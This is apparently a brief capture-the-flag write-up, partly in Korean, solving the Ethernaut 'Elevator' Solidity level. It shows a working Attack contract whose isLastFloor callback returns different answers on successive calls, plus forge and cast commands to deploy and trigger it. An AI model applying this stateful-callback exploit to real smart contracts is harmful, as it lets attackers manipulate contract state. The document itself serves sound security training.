[Ethernaut] (11 Elevator)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

 

 

 

인터페이스 상태 변환시켜서 top으로 이동시키면 된다. 

 

 

// SPDX-License-Identifier: MIT 
pragma solidity ^0.8.0;

import "./Elevator.sol";

contract Attack {
    uint256 count;

    function atk() public {
        Elevator instance = Elevator(0x1948b1b31241740C111057EcC4f7fD709D9F1b0E);
        instance.goTo(1);
    }

    function isLastFloor(uint) external returns (bool) {
        count += 1;
        return count != 1;
    }

}

 

forge create --broadcast src/Elevator_solv.sol:Attack  --rpc-url $RPC_URL --account Burnnnnny

 

 cast send 0x8854f4F88962B21a9726D1E7244F6A89bd1bF523 "atk()" --rpc-url $RPC_URL --account Burnnnnny